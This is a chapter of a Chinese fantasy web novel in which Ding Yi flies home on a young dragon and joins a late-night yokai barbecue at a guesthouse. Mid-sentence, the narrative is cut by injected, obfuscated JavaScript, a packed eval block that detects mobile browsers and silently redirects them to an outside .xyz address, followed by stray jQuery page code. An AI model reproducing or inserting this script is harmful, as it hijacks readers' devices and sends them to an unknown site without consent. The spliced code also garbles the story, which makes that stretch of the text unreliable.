跨上龙脊,丁依在起飞前,忍不住又确认了一遍。
“所以,你确定你能找到回民宿的路,对吧?”
龙喷了两下鼻息,用前爪一个劲儿地刨地催促,拒绝回答重复的问题。
“行吧,再相信你一次。”丁依深吸一口气,手指攥紧龙鬃,把身子伏低。
银龙偷偷侧目,扫了一眼背上的人。第一次正式载人飞行,它心底其实有点紧张。
像是给自己壮胆似的,它喉间逸出一声稚嫩的龙吟,然后略一踟蹰,下定决心——伏身蹬爪,离地而起。
龙身腾跃而起的瞬间,雨后的水汽自然而然地汇聚在龙的爪下。
感受丁依稳稳地伏在自己背上,银龙欢快地甩了甩尾巴,龙身在风中舒展开来,如游鱼般轻盈地穿梭进云雾中。
丁依眼前的视野飞速下沉,大片的湿地浮现在眼前,她不禁屏住了呼吸。
草甸被雨水浸透,水洼像大块的镜子,在龙行带起的风中,芦苇摇曳起伏,几只水鸟在其中蹦跳,嘴中正衔着刚捕捉的草鱼。
好美。
她不自觉地松开紧抓龙鬃,伸出右手,想触碰掠过身旁的云雾。
这时,龙身骤然向右侧翻去。
丁依吓得大叫了一声,以为龙又控制不住平衡要坠下去,她紧紧抱住了龙脊。半响,她发现自己还稳稳地伏在龙身上。抬起身子,看到一双龙耳朵正在轻松地转来转去,她才明白过来——方才那一下,只是龙在恶作剧罢了。
刚刚自己就该多给它两个大比斗!
又飞了一会儿,丁依察觉到,龙停在一处不动了。
它不住地盘旋,龙尾焦躁地拍打着空气,龙脊的鳞片微微炸起,不肯前进。
这是迷路了?
丁依掐指捏诀,定位了方向后,紧了紧手里的龙鬃,给龙指路:“喏,往那边。”
可龙仍然不动。它在原地不安地游动,喉咙里发出低低的呜咽。
见状,丁依又拍了两下龙脊催促:“快走,天都要黑了!”
龙仰头呼出一声绵长的龙吟,这才一步三回头地游走。
银白的龙影渐渐消失在云雾里,刚刚它停留的下方,是一座被淹没到一半的庙宇。
半截斑驳的飞檐孤零零地立着。几只麻雀站在倾斜的屋脊上,歪头打量着水中的屋脊倒影。
突然,平静的水面突然开始震颤。一声沉闷的撞击从水底深处传出,让平静的倒影碎裂。
咚。咚。咚。
受到惊吓,麻雀们叽叽叫着飞走。
良久,没有等来空中的回应,水面才又重新归于沉寂。
丁依和龙回到民宿时,那三人还没有回来。
人鱼给她发消息,说他们半路发现雨变小了,就改道去了赵叮当收藏的网红餐厅吃晚饭。
丁依强撑着最后一丝力气,给戌铃留了言,把金蟾币放在桌上,又给龙糊了一嘴的药膏,然后在满房间的草药香,和龙抗议的呜呜声中,倒头昏睡。
这一觉,她睡得像死了一样沉。
睡到半夜,丁依嚯地睁开眼。熟睡骤醒,她口干舌燥,腹中饥饿,心慌意乱。
房间里一片黑暗,桌上的金蟾币已经不见。
她呼叫了几声,没有哒哒的脚步声传来。
龙又不见了。
踩着民宿的一次性拖鞋,丁依走出房门。
仿古木地板发出细微的“吱呀”声,她扶着木楼梯扶手往下走。
大堂里空无一人。灯倒是开着,昏黄的氛围灯,此刻显得有些阴森。
柜台上方挂着的竹编灯笼,正被风吹得轻晃,在桌面上投射下影子。
桌上还放着不少大小不一的木棍和石头,丁依一看就知道是狗妖旺旺捡回来的。摸了一把,满指的水,显然刚捡回来没多久。
钟声滴答,刚过凌晨三点。
丁依转身向反方向走。楼梯后面,推开沉重的雕花木门,就是民宿的天井。
天井里一片漆黑,像是连月光也照不进来似的。
丁依沉思片刻,伸出指尖,划过门框上镶嵌的五行之阵,默念着“五行相生”的法诀,往前踏出一步。
刹那间,黑暗如潮水退去。
天井中央篝火熊熊,欢声笑语,热闹非常。
戌铃在火堆旁,正握着一把铁签子烧烤。在他身旁,旺旺馋涎欲滴地盯着他,口水滴进炭火,嘶嘶作响。
除了他俩,还有好几个丁依的熟面孔——马妖正在往签子上串蘑菇。羊妖在准备甜点,看起来像某种酸奶。九头乌鸦看似帮忙,实则九个头轮番偷吃。
已经在网红餐厅吃过晚餐的人鱼,居然也坐在一旁。他正用尖尖的利齿撕咬一串烤鱼,淡金色的长发铺在地上,金色的瞳孔明明暗暗地闪烁着,有一种“老子憋好久了终于可以妖化”的随意。
妖怪们原本都在嬉笑打闹,在丁依踏入的瞬间,篝火的火星突然噼啪炸开。
所有声音戛然而止,几双发着各色异光的瞳孔,齐刷刷转向突然闯入的丁依。
只有戌铃的眼睛,是古井无波的灰色。
他动了下脖子,像是确认了一下是谁,然后才温声开口:
“你醒啦?正想问你,要不要过来吃点东西。”
马妖递给丁依一串烤青椒。
丁依接过铁签,问:“你们有谁看见龙了吗?”
“它不在?刚刚还在这和狗妖玩呢。”接话的是人鱼。他四处打量,发现确实不见龙的踪影。
丁依掐指,能感受到龙的气息不远,估计正躲在后院哪处玩。
“随它去吧,我已经彻底麻了。”累麻了,也饿麻了。她吃了一口烤青椒,又接过羊妖递给她的酸奶。
吃喝了几口,丁依才终于缓过劲来。
看着周围热闹的景象,她问戌铃:“怎么大家都来了?莫非南江市有什么活动?”
戌铃笑笑,道:“这里没有活动,但有水。”
“有水?”
丁依反应了一下,不确定地问:“你说的‘水’,不会是指‘洪水’吧?”
“嗯,对,就是‘洪水’,”戌铃伸手。湿润的空气中,氤氲的灵气在他的手心流转。“每每‘洪水’爆发时,灵气就分外充盈,总会吸引一些朋友们过来。”
正说到这里,旁边突然传来一阵惊呼。
妖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752152|170400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怪们面露惊慌,丁依顺着它们的视线望去,只见银龙翩然而至,落在空地。
只不过,它的龙嘴里,正叼着一株疯狂挣扎的苹果树。
丁依深深地叹了口气。
她上前就是一个大比斗:“这个是好朋友,不能吃,给我吐出来!!!”
见龙把簌簌狂抖的苹果树妖吐出来后,丁依掰开了龙嘴检查。
淡粉湿润的口腔里,不久前还触目惊心的伤口,居然已经全好了。
呵,这条龙就是仗着年轻新陈代谢快,所以才胡作非为。
吃饱喝足后,小妖怪们陆续散开。它们通过凡人肉眼看不见的入口,回到了民宿里各自得休息处,戌铃、丁依和人鱼则留下收拾善后。
正收拾着,丁依想起来正事。
“那枚金蟾币,是你拿走了吧?”她问戌铃。
“哦,是指那个有问题的仿制铜币?嗯,我拿走了。”戌铃略一反应,回答道。
他一边收拾着签子,一边继续解释:“你发的信息,我已经看了。在我看来,那个铜币上肯定没有妖毒,它的来头估计和妖有点关系,但也问题不大。普通凡人捡走了,可能会吸走一点气运,但也最多会吸走这么一点点,”他捏着食指和大拇指,向丁依示意“这么一点点”的程度,“所以几乎不可能对凡人造成什么伤害,你不用太过担心。”
“那就好。但是今日,龙咬了那枚铜币之后,被烫得满嘴是伤,还身上发热,甚至突然晕厥……”想起当时的情景,丁依心有余悸。若是下次,这样的事情,又在龙身上发生一遭,后果不堪设想。
一旁,龙正在和化为原型的狗妖追逐打闹,对丁依的担忧无知无觉,
“这我就不知道了,天道有常,有时一物降一物,有时同源却相克,也许龙和那铜币,有什么特别的渊源罢?”戌铃微笑道,“不过至少对普通凡人,那铜币大体无毒无害。我已经托马妖把铜币带给你师父和师兄,保险起见,再让他们看看吧。”
既然戌铃这么说,也只能先这么处理。
不过,他能言之凿凿地判定这金蟾币对凡人无害,丁依好歹放下了半颗心。
“另外,”戌铃突然又开口,“我猜,这条龙身上发热昏厥的状况,未必全是那铜币作祟。”
这让丁依又焦虑发作:“不是吧,它还有别的隐疾?”
“不算隐疾,不过——”戌铃凭空掏出一个小罐,递给丁依,她接过打开,闻到一股苦涩的药味。“如果你实在担心,可以提前喂龙吃一颗。不过我建议,如果情况还好,还是不喂为妙。”戌铃道
丁依皱眉:“有点没明白。意思是,如果我喂龙吃了这药,可能有其它坏处?”
戌铃摊摊手:“毕竟天道有常,若要顾此,难免失彼。”
意思就是“是药三分毒”,注意副作用呗。
这个故弄玄虚的说话方式,丁依真怕戌铃在外面会挨大比斗。
戌铃又补充:“一定要吃的话,记得饭后吃,清水喂服。”
不知是错觉还是怎么,丁依觉得,戌铃最后这句话,是看着人鱼说的。
人鱼正好在喝水,听他这句话,呛得直咳嗽。